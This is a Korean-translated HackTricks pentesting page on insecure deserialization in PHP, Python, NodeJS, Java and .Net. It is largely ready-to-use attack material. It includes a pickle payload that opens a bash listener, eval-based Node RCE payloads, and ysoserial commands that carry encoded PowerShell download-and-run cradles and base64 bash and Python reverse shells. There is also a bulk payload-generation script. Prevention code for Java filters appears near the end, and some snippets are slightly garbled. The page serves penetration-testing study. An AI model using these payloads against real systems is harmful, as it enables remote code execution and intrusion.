Deserialization

Support HackTricks

Basic Information

Serialization은 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해되며, 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다.

Deserialization은 반대로 직렬화에 반하는 과정입니다. 이는 특정 형식으로 구조화된 데이터를 가져와 다시 객체로 재구성하는 것을 포함합니다.

Deserialization은 공격자가 직렬화된 데이터를 조작하여 해로운 코드를 실행하거나 객체 재구성 과정에서 애플리케이션의 예기치 않은 동작을 유발할 수 있기 때문에 위험할 수 있습니다.

PHP

PHP에서는 직렬화 및 역직렬화 과정에서 특정 매직 메서드가 사용됩니다:

  • __sleep: 객체가 직렬화될 때 호출됩니다. 이 메서드는 직렬화되어야 할 객체의 모든 속성 이름의 배열을 반환해야 합니다. 일반적으로 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용됩니다.

  • __wakeup: 객체가 역직렬화될 때 호출됩니다. 이는 직렬화 중에 손실된 데이터베이스 연결을 재설정하고 다른 재초기화 작업을 수행하는 데 사용됩니다.

  • __unserialize: 이 메서드는 객체가 역직렬화될 때 __wakeup 대신 호출됩니다(존재하는 경우). 이는 __wakeup에 비해 역직렬화 과정에 대한 더 많은 제어를 제공합니다.

  • __destruct: 이 메서드는 객체가 파괴되기 직전이나 스크립트가 끝날 때 호출됩니다. 일반적으로 파일 핸들이나 데이터베이스 연결을 닫는 등의 정리 작업에 사용됩니다.

  • __toString: 이 메서드는 객체를 문자열로 취급할 수 있게 해줍니다. 이는 파일을 읽거나 그 안의 함수 호출에 따라 다른 작업을 수행하는 데 사용될 수 있으며, 객체의 텍스트 표현을 효과적으로 제공합니다.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

결과를 보면 객체가 역직렬화될 때 __wakeup__destruct 함수가 호출되는 것을 알 수 있습니다. 여러 튜토리얼에서 __toString 함수가 일부 속성을 출력하려고 할 때 호출된다고 하지만, 현재는 더 이상 그렇지 않은 것 같습니다.

클래스에 구현된 경우 __unserialize(array $data) 메서드가 __wakeup() 대신 호출됩니다. 이 메서드는 직렬화된 데이터를 배열로 제공하여 객체를 역직렬화할 수 있게 해줍니다. 이 메서드를 사용하여 속성을 역직렬화하고 역직렬화 시 필요한 작업을 수행할 수 있습니다.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

여기에서 설명된 PHP 예제를 읽을 수 있습니다: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, 여기 https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf 또는 여기 https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

PHP 자동 로드 기능을 악용하여 임의의 PHP 파일을 로드하고 더 많은 작업을 수행할 수 있습니다:

PHP - Deserialization + Autoload Classes

참조된 값 직렬화

어떤 이유로든 다른 직렬화된 값에 대한 참조로 값을 직렬화하고 싶다면 다음과 같이 할 수 있습니다:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC는 PHP 역직렬화를 악용하기 위한 페이로드를 생성하는 데 도움을 줄 수 있습니다. 응용 프로그램의 소스 코드에서 역직렬화를 악용할 방법을 찾을 수 없는 경우가 많습니다. 그러나 외부 PHP 확장 코드악용할 수 있는 경우가 있습니다. 따라서 가능하다면 서버의 phpinfo()를 확인하고 인터넷에서 검색(심지어 PHPGGC의 가젯에서도)하여 악용할 수 있는 가능한 가젯을 찾아보세요.

phar:// 메타데이터 역직렬화

파일을 읽기만 하고 그 안의 PHP 코드를 실행하지 않는 LFI를 찾았다면, 예를 들어 file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()와 같은 함수를 사용하는 경우. phar 프로토콜을 사용하여 파일읽을 때 발생하는 역직렬화를 악용해 볼 수 있습니다. 자세한 정보는 다음 게시물을 읽어보세요:

phar:// deserialization

Python

Pickle

객체가 언픽클될 때, 함수 ___reduce___가 실행됩니다. 악용될 경우, 서버는 오류를 반환할 수 있습니다.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you're running python3.

For more information about escaping from pickle jails check:

Bypass Python sandboxes

Yaml & jsonpickle

다음 페이지는 YAML에서 안전하지 않은 역직렬화를 악용하는 기술을 제시하고 Pickle, PyYAML, jsonpickle 및 ruamel.yaml에 대한 RCE 역직렬화 페이로드를 생성하는 데 사용할 수 있는 도구로 마무리됩니다:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS 는 PHP나 Python처럼 객체 생성을 위해 실행되는 "마법" 함수가 없습니다. 그러나 toString, valueOf, **toJSON**과 같이 직접 호출하지 않고도 자주 사용되는 함수가 있습니다. 역직렬화를 악용하면 이러한 함수를 타협하여 다른 코드를 실행할 수 있으며 (프로토타입 오염을 악용할 가능성) 호출될 때 임의의 코드를 실행할 수 있습니다.

함수를 직접 호출하지 않고 호출하는 또 다른 "마법" 방법비동기 함수(프라미스)에서 반환된 객체를 타협하는 것입니다. 왜냐하면, 그 반환 객체를 **"then"이라는 함수형 속성을 가진 다른 프라미스변환하면, 다른 프라미스에 의해 반환되기 때문에 실행됩니다. 자세한 정보는 이 링크 를 참조하세요.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__prototype 오염

이 기술에 대해 배우고 싶다면 다음 튜토리얼을 확인하세요:

NodeJS - __proto__ & prototype Pollution

이 라이브러리는 함수를 직렬화할 수 있게 해줍니다. 예:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

The serialised object will looks like: 직렬화된 객체는 다음과 같이 보입니다:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.

However, just serialising a function won't execute it as it would be necessary that some part of the code is calling y.rce in our example and that's highly unlikable. Anyway, you could just modify the serialised object adding some parenthesis in order to auto execute the serialized function when the object is deserialized. In the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

이전에 언급했듯이, 이 라이브러리는 _$$ND_FUNC$$_ 이후의 코드를 가져와서 실행합니다 eval을 사용하여. 따라서 코드를 자동으로 실행하려면 함수 생성 부분과 마지막 괄호를 삭제하고 다음 예제와 같이 JS 원라이너를 실행하면 됩니다:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

여기에서 이 취약점을 악용하는 방법에 대한 추가 정보를 찾을 수 있습니다.

funcster의 주목할 만한 점은 표준 내장 객체의 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 방지되어, console.log()require(something)와 같은 명령을 사용할 때 "ReferenceError: console is not defined"와 같은 예외가 발생합니다.

이 제한에도 불구하고, 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 전체 접근을 복원하는 것은 특정 접근 방식을 통해 가능합니다. 전역 컨텍스트를 직접 활용함으로써 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

자세한 정보는 이 출처를 읽어보세요 more information read this source.

serialize-javascript 패키지는 직렬화 목적으로만 설계되었으며, 내장된 역직렬화 기능이 없습니다. 사용자는 역직렬화를 위한 자신의 방법을 구현할 책임이 있습니다. 공식 예제에서는 직렬화된 데이터를 역직렬화하기 위해 eval의 직접 사용을 제안합니다:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

이 함수가 객체를 역직렬화하는 데 사용된다면 쉽게 악용할 수 있습니다:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

자세한 정보는 이 출처를 읽어보세요 more information read this source.

Cryo 라이브러리

다음 페이지에서는 이 라이브러리를 악용하여 임의의 명령을 실행하는 방법에 대한 정보를 찾을 수 있습니다:

Java - HTTP

Java에서는 역직렬화 콜백이 역직렬화 과정 중에 실행됩니다. 이 실행은 공격자가 이러한 콜백을 유발하는 악성 페이로드를 제작하여 악성 행동을 실행할 수 있도록 악용될 수 있습니다.

지문

화이트 박스

코드베이스에서 잠재적인 직렬화 취약점을 식별하기 위해 다음을 검색하세요:

  • Serializable 인터페이스를 구현하는 클래스.

  • java.io.ObjectInputStream, readObject, readUnshare 함수의 사용.

다음에 특히 주의하세요:

  • 외부 사용자가 정의한 매개변수와 함께 사용되는 XMLDecoder.

  • XStream 버전이 1.46 이하인 경우 직렬화 문제에 취약한 XStreamfromXML 메서드.

  • readObject 메서드와 결합된 ObjectInputStream.

  • readObject, readObjectNodData, readResolve, 또는 readExternal과 같은 메서드의 구현.

  • ObjectInputStream.readUnshared.

  • Serializable의 일반적인 사용.

블랙 박스

블랙 박스 테스트의 경우, java 직렬화 객체를 나타내는 특정 **서명 또는 "매직 바이트"**를 찾으세요 ( ObjectInputStream에서 유래):

  • 16진수 패턴: AC ED 00 05.

  • Base64 패턴: rO0.

  • Content-typeapplication/x-java-serialized-object로 설정된 HTTP 응답 헤더.

  • 이전 압축을 나타내는 16진수 패턴: 1F 8B 08 00.

  • 이전 압축을 나타내는 Base64 패턴: H4sIA.

  • .faces 확장자를 가진 웹 파일과 faces.ViewState 매개변수. 웹 애플리케이션에서 이러한 패턴을 발견하면 Java JSF ViewState 역직렬화에 대한 게시물에서 자세히 설명된 대로 검토해야 합니다.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

취약점 확인

Java Deserialized exploit가 어떻게 작동하는지 배우고 싶다면 Basic Java Deserialization, Java DNS Deserialization, 및 CommonsCollection1 Payload를 살펴보아야 합니다.

화이트 박스 테스트

알려진 취약점이 있는 애플리케이션이 설치되어 있는지 확인할 수 있습니다.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet. You could also use gadgetinspector to search for possible gadget chains that can be exploited. When running gadgetinspector (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won't create an exploit and it may indicate false positives.

블랙 박스 테스트

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability. Read this to learn more about GadgetProbe. GadgetProbe is focused on ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them. Read this to learn more about Java Deserialization Scanner. Java Deserialization Scanner is focused on ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads. You can find more information about Freddy here.

직렬화 테스트

Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp). If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.

익스플로잇

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example). Note that this tool is focused on exploiting ObjectInputStream. I would start using the "URLDNS" payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

When creating a payload for java.lang.Runtime.exec() you cannot use special characters like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even pass arguments to a command separated by spaces (you can do echo -n "hello world" but you can't do python2 -c 'print "Hello world"'). In order to encode correctly the payload you could use this webpage.

다음 스크립트를 사용하여 Windows와 Linux에 대한 모든 가능한 코드 실행 페이로드를 생성한 다음 취약한 웹 페이지에서 테스트해 보세요:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

You can use https://github.com/pwntester/SerialKillerBypassGadgetCollection along with ysoserial to create more exploits. More information about this tool in the slides of the talk where the tool was presented: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec 는 Java에서 다양한 JsonYml 직렬화 라이브러리를 악용하기 위한 페이로드를 생성하는 데 사용할 수 있습니다. In order to compile the project I needed to add this dependencies to pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Maven을 설치하고 프로젝트를 컴파일합니다:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

이 Java JSON 라이브러리에 대해 더 알아보세요: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Java는 다양한 목적을 위해 많은 직렬화를 사용합니다:

  • HTTP 요청: 직렬화는 매개변수, ViewState, 쿠키 등의 관리를 위해 널리 사용됩니다.

  • RMI (원격 메서드 호출): Java RMI 프로토콜은 직렬화에 전적으로 의존하며, Java 애플리케이션의 원격 통신의 초석입니다.

  • HTTP를 통한 RMI: 이 방법은 Java 기반의 두꺼운 클라이언트 웹 애플리케이션에서 일반적으로 사용되며, 모든 객체 통신에 직렬화를 활용합니다.

  • JMX (Java 관리 확장): JMX는 네트워크를 통해 객체를 전송하기 위해 직렬화를 사용합니다.

  • 사용자 정의 프로토콜: Java에서는 표준 관행으로 원시 Java 객체의 전송이 포함되며, 이는 향후 익스플로잇 예제에서 시연될 것입니다.

Prevention

Transient objects

Serializable을 구현하는 클래스는 직렬화되지 않아야 하는 클래스 내부의 객체를 transient로 구현할 수 있습니다. 예를 들어:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Serializable을 구현해야 하는 클래스의 직렬화를 피하십시오

특정 객체가 클래스 계층 구조로 인해 Serializable 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해, 아래와 같이 항상 예외를 발생시키는 final readObject() 메서드를 정의하여 이러한 객체가 역직렬화되지 않도록 하십시오:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Java에서 역직렬화 보안 강화하기

java.io.ObjectInputStream 사용자 정의는 역직렬화 프로세스를 보호하기 위한 실용적인 접근 방식입니다. 이 방법은 다음과 같은 경우에 적합합니다:

  • 역직렬화 코드가 귀하의 제어 하에 있을 때.

  • 역직렬화에 예상되는 클래스가 알려져 있을 때.

resolveClass() 메서드를 재정의하여 허용된 클래스만 역직렬화되도록 제한합니다. 이는 다음 예제와 같이 Bicycle 클래스만 역직렬화되도록 명시적으로 허용된 클래스를 제외한 모든 클래스의 역직렬화를 방지합니다:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

보안 강화를 위한 Java 에이전트 사용은 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 유해한 클래스 블랙리스트에 적용되며, JVM 매개변수를 사용합니다:

-javaagent:name-of-agent.jar

동적으로 역직렬화를 안전하게 하는 방법을 제공하며, 즉각적인 코드 변경이 비현실적인 환경에 이상적입니다.

rO0 by Contrast Security에서 예제를 확인하세요.

직렬화 필터 구현: Java 9는 ObjectInputFilter 인터페이스를 통해 직렬화 필터를 도입하여, 역직렬화되기 전에 직렬화된 객체가 충족해야 하는 기준을 지정하는 강력한 메커니즘을 제공합니다. 이러한 필터는 전역적으로 또는 스트림별로 적용할 수 있어 역직렬화 프로세스에 대한 세밀한 제어를 제공합니다.

직렬화 필터를 사용하려면 모든 역직렬화 작업에 적용되는 전역 필터를 설정하거나 특정 스트림에 대해 동적으로 구성할 수 있습니다. 예를 들어:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

외부 라이브러리를 활용한 보안 강화: NotSoSerial, jdeserialize, Kryo와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스 화이트리스트 또는 블랙리스트 작성, 역직렬화 전에 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현과 같은 추가 보안 계층을 제공할 수 있습니다.

  • NotSoSerial은 신뢰할 수 없는 코드의 실행을 방지하기 위해 역직렬화 프로세스를 가로챕니다.

  • jdeserialize는 역직렬화 없이 직렬화된 Java 객체를 분석할 수 있게 하여 잠재적으로 악의적인 콘텐츠를 식별하는 데 도움을 줍니다.

  • Kryo는 속도와 효율성을 강조하는 대체 직렬화 프레임워크로, 보안을 강화할 수 있는 구성 가능한 직렬화 전략을 제공합니다.

참고 문헌

JNDI 인젝션 및 log4Shell

JNDI 인젝션이란 무엇인지, RMI, CORBA 및 LDAP를 통해 이를 악용하는 방법, log4shell을 이용한 공격 방법에 대한 내용은 다음 페이지에서 확인하세요:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java 메시지 서비스

Java 메시지 서비스 (JMS) API는 두 개 이상의 클라이언트 간에 메시지를 전송하기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 생산자-소비자 문제를 처리하기 위한 구현입니다. JMS는 Java 플랫폼, 엔터프라이즈 에디션(Java EE)의 일부이며, Sun Microsystems에서 개발한 사양에 의해 정의되었지만 이후 Java 커뮤니티 프로세스에 의해 안내되었습니다. 이는 Java EE 기반의 애플리케이션 구성 요소가 메시지를 생성, 전송, 수신 및 읽을 수 있도록 하는 메시징 표준입니다. 이는 분산 애플리케이션의 다양한 구성 요소 간의 통신을 느슨하게 결합되고 신뢰할 수 있으며 비동기적으로 만듭니다. (출처: Wikipedia).

제품

이 미들웨어를 사용하여 메시지를 전송하는 여러 제품이 있습니다:

악용

기본적으로 위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다. 따라서 이러한 서비스에 메시지를 전송할 충분한 권한이 있다면 (일반적으로 유효한 자격 증명이 필요함) 소비자/구독자가 역직렬화할 악의적인 직렬화 객체를 전송할 수 있습니다. 이는 이 악용에서 해당 메시지를 사용할 모든 클라이언트가 감염될 것임을 의미합니다.

서비스가 취약하더라도 (사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위한 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다.

도구 JMET알려진 가젯을 사용하여 여러 악의적인 직렬화 객체를 전송하여 이 서비스를 연결하고 공격하기 위해 생성되었습니다. 이러한 익스플로잇은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있을 경우 작동합니다.

참고 문헌

.Net

.Net의 맥락에서 역직렬화 익스플로잇은 Java에서 발견되는 방식과 유사하게 작동하며, 가젯을 악용하여 객체의 역직렬화 중 특정 코드를 실행합니다.

지문

화이트박스

소스 코드는 다음의 발생 여부를 검사해야 합니다:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

사용자 제어 하에 변수를 통해 유형을 결정할 수 있는 직렬화기에 초점을 맞춰야 합니다.

블랙박스

검색은 서버 측에서 역직렬화될 수 있는 Base64 인코딩 문자열 AAEAAAD///// 또는 유사한 패턴을 목표로 해야 하며, 이는 역직렬화될 유형에 대한 제어를 부여합니다. 여기에는 TypeObject 또는 $type을 포함한 JSON 또는 XML 구조가 포함될 수 있습니다.

ysoserial.net

이 경우 ysoserial.net 도구를 사용하여 역직렬화 익스플로잇을 생성할 수 있습니다. git 저장소를 다운로드한 후, 예를 들어 Visual Studio를 사용하여 도구를 컴파일해야 합니다.

ysoserial.net이 익스플로잇을 생성하는 방법에 대해 배우고 싶다면 ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터가 설명된 이 페이지를 확인하세요.

ysoserial.net의 주요 옵션은: --gadget, --formatter, --output 및 **--plugin**입니다.

  • **--gadget**는 악용할 가젯을 지정하는 데 사용됩니다 (역직렬화 중 명령을 실행하기 위해 악용될 클래스/함수를 지정).

  • **--formatter**는 익스플로잇을 직렬화하는 방법을 지정하는 데 사용됩니다 (페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알아야 하며, 동일한 라이브러리를 사용하여 직렬화해야 합니다).

